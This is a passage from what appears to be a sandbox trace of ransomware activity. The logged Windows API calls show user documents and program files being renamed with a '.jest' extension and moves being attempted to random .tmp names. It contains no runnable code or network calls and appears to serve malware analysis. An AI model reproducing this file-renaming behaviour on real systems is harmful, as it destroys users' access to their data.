HALPmcxz\\Documents\\Xgh97aVqtUgGD\\aNz6nt6iqnCt9jfMby.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\anz6nt6iqnct9jfmby.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\aNz6nt6iqnCt9jfMby.pps.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\anz6nt6iqnct9jfmby.pps.jest")) returned 1 [0171.385] VarBstrFromR4 (in: fltIn=0x47945a79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.95") returned 0x0 [0171.386] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\aNz6nt6iqnCt9jfMby.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\anz6nt6iqnct9jfmby.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MhCc1DJcF_GooUgJqnG09ZyWciwAcoy0KJCALMRmDKhPLElb6so0vd4Ql1ZTNTYvi7c3mxx1VNE_V8V _ldstQNJJZ_XL509i2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhcc1djcf_goougjqng09zywciwacoy0kjcalmrmdkhplelb6so0vd4ql1ztntyvi7c3mxx1vne_v8v _ldstqnjjz_xl509i2.tmp")) returned 0 [0171.386] GetLastError () returned 0x2 [0171.387] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࣷ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.388] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.388] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_Ip jzrNAzizLz4b4M.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_ip jzrnazizlz4b4m.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_Ip jzrNAzizLz4b4M.xls.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_ip jzrnazizlz4b4m.xls.jest")) returned 1 [0171.390] VarBstrFromR4 (in: fltIn=0x47945a79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.95") returned 0x0 [0171.390] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_Ip jzrNAzizLz4b4M.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_ip jzrnazizlz4b4m.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ibSu-U9IJeeMU4 cW 32QLK1EDcKYP7HtpVAbqtKEk kBW7LsXaEx7T1LD gBsIQEtvHe_gxHyhhkYgkBC1ipiAJM94LHq_z EfKa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ibsu-u9ijeemu4 cw 32qlk1edckyp7htpvabqtkek kbw7lsxaex7t1ld gbsiqetvhe_gxhyhhkygkbc1ipiajm94lhq_z efka.tmp")) returned 0 [0171.391] GetLastError () returned 0x2 [0171.391] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.391] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\30HFfJ6rqxwLmfl_Ijq.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\30hffj6rqxwlmfl_ijq.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\30HFfJ6rqxwLmfl_Ijq.ppt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\30hffj6rqxwlmfl_ijq.ppt.jest")) returned 1 [0171.393] VarBstrFromR4 (in: fltIn=0x47945a7b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.96") returned 0x0 [0171.393] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\30HFfJ6rqxwLmfl_Ijq.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\30hffj6rqxwlmfl_ijq.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1zdvk7SowOYweeVe9oHmmk6UBwQDa_cSFaCBDi4en5VMGQ73C2KeyDL-RU6-ff1K82Q3-sgTtsX9 wMqOPxLW17PR k2YWJ Kcxo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z1zdvk7sowoyweeve9ohmmk6ubwqda_csfacbdi4en5vmgq73c2keydl-ru6-ff1k82q3-sgttsx9 wmqopxlw17pr k2ywj kcxo.tmp")) returned 0 [0171.393] GetLastError () returned 0x2 [0171.394] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.394] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_uDdDTcweU.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_udddtcweu.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_uDdDTcweU.odp.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_udddtcweu.odp.jest")) returned 1 [0171.395] VarBstrFromR4 (in: fltIn=0x47945a7b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.96") returned 0x0 [0171.396] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\_uDdDTcweU.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\_udddtcweu.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RfS8r0ArAvbG7t5kplt3tWR xws43F8eckMg3zYPjNZkPIwHOOZfjdClRhEKfbxQE ADpokw5nIbZp4-VTD7IsrYbAj9wpP8rgIw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rfs8r0aravbg7t5kplt3twr xws43f8eckmg3zypjnzkpiwhoozfjdclrhekfbxqe adpokw5nibzp4-vtd7isrybaj9wpp8rgiw.tmp")) returned 0 [0171.396] GetLastError () returned 0x2 [0171.399] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.399] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\jp8hNpB2FPOQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\jp8hnpb2fpoq.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\jp8hNpB2FPOQ.doc.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\jp8hnpb2fpoq.doc.jest")) returned 1 [0171.401] VarBstrFromR4 (in: fltIn=0x47945a7b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.96") returned 0x0 [0171.402] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\jp8hNpB2FPOQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\jp8hnpb2fpoq.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\55XDuTSNO5nolfdtkpU_PpZgmHPyz4lp2NsMWBd2Ht sVI8wvjFaQlfobS0lBulxf74uj7VA Xdl_p4qbDsYZ0NmHiZKNU5O3mI .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\55xdutsno5nolfdtkpu_ppzgmhpyz4lp2nsmwbd2ht svi8wvjfaqlfobs0lbulxf74uj7va xdl_p4qbdsyz0nmhizknu5o3mi .tmp")) returned 0 [0171.402] GetLastError () returned 0x2 [0171.403] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.403] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\lX3h964JC8Y.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\lx3h964jc8y.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\lX3h964JC8Y.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\lx3h964jc8y.ods.jest")) returned 1 [0171.404] VarBstrFromR4 (in: fltIn=0x47945a7b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.96") returned 0x0 [0171.405] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\lX3h964JC8Y.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\lx3h964jc8y.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-3_fvUlAOYxs2I5xrtloapAhUe2Vf6XLHwki0G7OYZFe aeuWYEhnV35zXSO2ZgHYKk4eZHfmeGiPchI2_opaqjNt9H6TC5V- Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i-3_fvulaoyxs2i5xrtloapahue2vf6xlhwki0g7oyzfe aeuwyehnv35zxso2zghykk4ezhfmegipchi2_opaqjnt9h6tc5v- q.tmp")) returned 0 [0171.405] GetLastError () returned 0x2 [0171.406] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.407] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.407] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.408] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.408] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.408] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.410] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሦ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.422] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.jest" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.jest")) returned 1 [0171.425] VarBstrFromR4 (in: fltIn=0x47945a7f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.99") returned 0x0 [0171.426] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ e7Z5DGf pL52_r-4y1 WKkIn0535e3WpFh5s lzHEO7Mzx 3qy6Bywh6WiVscLXk5rmRm7pm7GDYlG0wZjlR1bNRIuukJYOFsVx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ e7z5dgf pl52_r-4y1 wkkin0535e3wpfh5s lzheo7mzx 3qy6bywh6wivsclxk5rmrm7pm7gdylg0wzjlr1bnriuukjyofsvx.tmp")) returned 0 [0171.426] GetLastError () returned 0x2 [0171.426] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.427] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.429] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሻ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.462] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg.jest")) returned 1 [0171.468] VarBstrFromR4 (in: fltIn=0x47945a83, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75957.02") returned 0x0 [0171.469] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J54Lbx23F6cqo6IoxAntqHbJZxfOXr03DzTPVGllqQ2KQoo_UxHsigQmrql0LXNorPKoCoGiIh3ejM5TwlcdrbzGgNJOcBz9sF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j54lbx23f6cqo6ioxantqhbjzxfoxr03dztpvgllqq2kqoo_uxhsigqmrql0lxnorpkocogiih3ejm5twlcdrbzggnjocbz9sf.tmp")) returned 0 [0171.469] GetLastError () returned 0x2 [0171.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.472] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.472] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.473] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.475] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᅰ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.480] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt.jest" (normalized: "c:\\program files 